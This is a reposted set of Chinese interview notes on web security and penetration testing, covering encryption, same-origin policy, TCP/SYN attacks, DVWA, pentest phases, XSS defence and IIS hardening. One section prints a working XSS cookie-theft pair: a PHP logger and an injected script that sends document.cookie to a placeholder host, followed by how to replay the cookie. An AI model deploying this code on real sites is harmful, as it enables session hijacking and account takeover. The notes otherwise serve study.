1. 程式人生 > >網路安全、Web安全、滲透測試之筆經面經總結(一)

網路安全、Web安全、滲透測試之筆經面經總結(一)

轉載地址:https://www.cnblogs.com/christychang/p/6041012.html

 

本篇文章總結涉及以下幾個方面:

對稱加密非對稱加密?

什麼是同源策略?

cookie存在哪裡?可以開啟嗎

xss如何盜取cookie

tcpudp的區別及tcp三次握手,syn攻擊?

證書要考哪些?

DVWA是如何搭建的?

滲透測試的流程是什麼

xss如何防禦

IIS伺服器應該做哪些方面的保護措施:

虛擬機器的幾種連線方式及原理

xsscookie一定可以無使用者名稱密碼登入嗎?

 

 

對稱加密非對稱加密?

對稱加密:加解密用同一金鑰,金鑰維護複雜n(n-1)/2,不適合網際網路傳輸金鑰,加解密效率高。應用於加密資料。
非對稱加密:公鑰推不出私鑰,每個使用者一個非對稱金鑰對就可以,適合於網際網路傳輸公鑰,但是加密效率低,應用於數字簽名及加密。

 

什麼是同源策略?

為了防止不同域在使用者瀏覽器中彼此干擾,瀏覽器對從不同來源(域)收到的內容進行隔離。
瀏覽器不允許任何舊有指令碼訪問一個站點的cookie,否則 ,會話容易被劫持。
只有釋出cookie的站點能夠訪問這些cookie,只有通過該站點返回的頁面所包含或載入的JavaScript才能訪問cookie。

 

cookie存在哪裡?可以開啟嗎

C:\Users\使用者名稱\AppData\Roaming\Microsoft\Windows\Cookies
工具--資料夾選項--檢視--將隱藏被保護的檔案的對勾去掉就會看到cookies資料夾。

 

xss如何盜取cookie?

攻擊者程式碼:
<?php

$cookie=$_GET['cookie'];
$time=date('Y-m-d g:i:s');
$referer=getenv('HTTP_REFERER');
$cookietxt=fopen('cookie.txt','a');
fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer.""); 注意雙引號,容易出錯
fclose($cookietxt);

?>

指令碼端:
<script>
document.write('<img src="http://ip/cookie.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');
</script>

獲取到cookie後,用firebug找到cookie,新建cookie
加入cookie,用referer來提交,無需輸入帳號密碼直接登入進去!

 

tcp、udp的區別及tcp三次握手,syn攻擊?

也可參考http://www.cnblogs.com/bizhu/archive/2012/05/12/2497493.html

一、tcp、udp區別(轉)
TCP的優點:

可靠,穩定
TCP的可靠體現在TCP在傳遞資料之前,會有三次握手來建立連線,而且在資料傳遞時,有確認、視窗、重傳、擁塞控制機制,在資料傳完後,還會斷開連線用來節約系統資源。
TCP的缺點:

慢,效率低,佔用系統資源高,易被攻擊
TCP在傳遞資料之前,要先建連線,這會消耗時間,而且在資料傳遞時,確認機制、重傳機制、擁塞控制機制等都會消耗大量的時間,而且要在每臺裝置上維護所有的傳輸連線,事實上,每個連線都會佔用系統的CPU、記憶體等硬體資源。
而且,因為TCP有確認機制、三次握手機制,這些也導致TCP容易被人利用,實現DOS、DDOS、CC等攻擊。
UDP的優點:
快,比TCP稍安全
UDP沒有TCP的握手、確認、視窗、重傳、擁塞控制等機制,UDP是一個無狀態的傳輸協議,所以它在傳遞資料時非常快。沒有TCP的這些機制,UDP較TCP被攻擊者利用的漏洞就要少一些。但UDP也是無法避免攻擊的,比如:UDP Flood攻擊……
UDP的缺點:

不可靠,不穩定
因為UDP沒有TCP那些可靠的機制,在資料傳遞時,如果網路質量不好,就會很容易丟包。
基於上面的優缺點,那麼:

什麼時候應該使用TCP:
當對網路通訊質量有要求的時候,比如:整個資料要準確無誤的傳遞給對方,這往往用於一些要求可靠的應用,比如HTTP、HTTPS、FTP等傳輸檔案的協議,POP、SMTP等郵件傳輸的協議。
在日常生活中,常見使用TCP協議的應用如下:

瀏覽器,用的HTTP
FlashFXP,用的FTP
Outlook,用的POP、SMTP
Putty,用的Telnet、SSH
QQ檔案傳輸
…………
什麼時候應該使用UDP:
當對網路通訊質量要求不高的時候,要求網路通訊速度能儘量的快,這時就可以使用UDP。
比如,日常生活中,常見使用UDP協議的應用如下:

QQ語音
QQ視訊
TFTP


二、TCP握手協議
在TCP/IP協議中,TCP協議提供可靠的連線服務,採用三次握手建立一個連線。
第一次握手:建立連線時,客戶端傳送syn包(syn=j)到伺服器,並進入SYN_SEND狀態,等待伺服器確認;
第二次握手:伺服器收到syn包,必須確認客戶的SYN(ack=j+1),同時自己也傳送一個SYN包(syn=k),
即SYN+ACK包,此時伺服器進入SYN_RECV狀態;
第三次握手:客戶端收到伺服器的SYN+ACK包,向伺服器傳送確認包ACK(ack=k+1),此包傳送完畢,
客戶端和伺服器進入ESTABLISHED狀態,完成三次握手。

完成三次握手,客戶端與伺服器開始傳送資料,在上述過程中,還有一些重要的概念:
未連線佇列:在三次握手協議中,伺服器維護一個未連線佇列,該佇列為每個客戶端的SYN包(syn=j)開設一個條目,
該條目表明伺服器已收到SYN包,並向客戶發出確認,正在等待客戶的確認包。這些條目所標識的連線在伺服器處於Syn_RECV狀態,
當伺服器收到客戶的確認包時,刪除該條目,伺服器進入ESTABLISHED狀態。 backlog引數:表示未連線佇列的最大容納數目。
SYN-ACK 重傳次數 伺服器傳送完SYN-ACK包,如果未收到客戶確認包,伺服器進行首次重傳,等待一段時間仍未收到客戶確認包,
進行第二次重傳,如果重傳次數超過系統規定的最大重傳次數,系統將該連線資訊從半連線佇列中刪除。注意,每次重傳等待的時間不一定相同。
半連線存活時間:是指半連線佇列的條目存活的最長時間,也即服務從收到SYN包到確認這個報文無效的最長時間,
該時間值是所有重傳請求包的最長等待時間總和。有時我們也稱半連線存活時間為Timeout時間、SYN_RECV存活時間。


三、SYN攻擊原理
SYN攻擊屬於DOS攻擊的一種,它利用TCP協議缺陷,通過傳送大量的半連線請求,耗費CPU和記憶體資源。
SYN攻擊除了能影響主機外,還可以危害路由器、防火牆等網路系統,事實上SYN攻擊並不管目標是什麼系統,
只要這些系統開啟TCP服務就可以實施。從上圖可看到,伺服器接收到連線請求(syn=j),
將此資訊加入未連線佇列,併發送請求包給客戶(syn=k,ack=j+1),此時進入SYN_RECV狀態。
當伺服器未收到客戶端的確認包時,重發請求包,一直到超時,才將此條目從未連線佇列刪除。
配合IP欺騙,SYN攻擊能達到很好的效果,通常,客戶端在短時間內偽造大量不存在的IP地址,
向伺服器不斷地傳送syn包,伺服器回覆確認包,並等待客戶的確認,由於源地址是不存在的,
伺服器需要不斷的重發直至超時,這些偽造的SYN包將長時間佔用未連線佇列,正常的SYN請求被丟棄,
目標系統執行緩慢,嚴重者引起網路堵塞甚至系統癱瘓。


證書要考哪些?

資訊保安國際第一認證——CISSP
資訊保安國內認證——CISAW
資訊保安國內認證——CISP
資訊保安技術實操認證新貴——Security+
IT審計人員的必備之證——CISA


DVWA是如何搭建的?

啟動xampp(XAMPP(Apache+MySQL+PHP+PERL)是一個功能強大的建站整合軟體包。)下的apache中介軟體和mysql
將dvwa放到xampp下的htdocs目錄下
在瀏覽器輸入http://127.0.0.1/dvwa 即可使用啦!
還有owasp的漏洞練習平臺:https://sourceforge.net/projects/owaspbwa/files/

 

滲透測試的流程是什麼

滲透測試流程概述
前期互動階段、情報蒐集階段、威脅建模階段、漏洞分析階段、
滲透攻擊階段(Exploitation)、後滲透攻擊階段(怎麼一直控制,維持訪問)、報告階段。

攻擊前:網路踩點、網路掃描、網路查點
攻擊中:利用漏洞資訊進行滲透攻擊、獲取許可權
攻擊後:後滲透維持攻擊、檔案拷貝、木馬植入、痕跡擦除


xss如何防禦

1.對前端輸入做過濾和編碼:
比如只允許輸入指定型別的字元,比如電話號格式,註冊使用者名稱限制等,輸入檢查需要在伺服器端完成,在前端完成的限制是容易繞過的;
對特殊字元進行過濾和轉義;
2.對輸出做過濾和編碼:在變數值輸出到前端的HTML時進行編碼和轉義;
3.給關鍵cookie使用http-only


IIS伺服器應該做哪些方面的保護措施:

整理來源:http://www.williamlong.info/archives/118.html
1. 保持Windows升級:
2. 使用IIS防範工具
3. 移除預設的Web站點
4. 如果你並不需要FTP和SMTP服務,請解除安裝它們
5. 有規則地檢查你的管理員組和服務:
6. 嚴格控制伺服器的寫訪問許可權
7. 設定複雜的密碼
8. 減少/排除Web伺服器上的共享
9. 禁用TCP/IP協議中的NetBIOS:
10. 使用TCP埠阻塞
11. 仔細檢查*.bat和*.exe 檔案: 每週搜尋一次*.bat
12. 管理IIS目錄安全:
13. 使用NTFS安全:
14. 管理使用者賬戶
15. 審計你的Web伺服器:

 


虛擬機器的幾種連線方式及原理

整理來源:http://blog.csdn.net/shuxiao9058/article/details/7051463

安裝完虛擬機器後,預設安裝了兩個虛擬網絡卡,VMnet1和VMnet8,其他的未安裝(當然也可以手動安裝其他的)。其中VMnet1是host網絡卡,
用於host方式連線網路的。VMnet8是NAT網絡卡,用於NAT方式連線網路的。它們的IP地址是隨機生成的,如果要用虛擬機器做實驗的話,
最好將VMnet1到VMnet8的IP地址改掉。習慣上把VMware虛擬網絡卡使用的網段"固定",使用如下原則:VMnet1對應的網段是192.168.10.0,
VMnet2對應的網段是192.168.20.0,其他的類似。當然平常只是隨便用用的就不用改了,能上網就行了。

VMware網路連線的方式主要有:橋接(Bridged)、NAT、主機網路(Host-Only)。

1. Use bridged networking(使用橋接網路)

說明:使用VMnet0虛擬交換機,此時虛擬機器相當與網路上的一臺獨立計算機與主機一樣,擁有一個獨立的IP地址,
其網路拓撲如圖1所示,使用橋接方式,A,A1,A2,B可互訪。

                                                 圖1
2. Use network address translation(NAT)

說明:使用Vmnet8虛擬交換機,此時虛擬機器可以通過主機單向網路上的其他工作站,其他工作站不能訪問虛擬機器。
其網路拓撲如圖2所示,使用NAT方式,A1,A2可以訪問B,但B不可以訪問A1,A2。但A,A1,A2可以互訪。

                                                 圖2
3. Use Host-Only networking(使用主機網路)

說明:使用Vmnet1虛擬交換機,此時虛擬機器只能與虛擬機器、主機互訪。也就是不能上Internet,其網路拓撲如圖3所示,
使用Host方式,A,A1,A2可以互訪,但A1,A2不能訪問B,也不能被B訪問。

 

                                                  圖3

 

xss有cookie一定可以無使用者名稱密碼登入嗎?

基本可以。因為把cookie的值給瀏覽器,瀏覽器去訪問頁面會用已有的cookie去訪問,如果cookie有效,就會直接進去。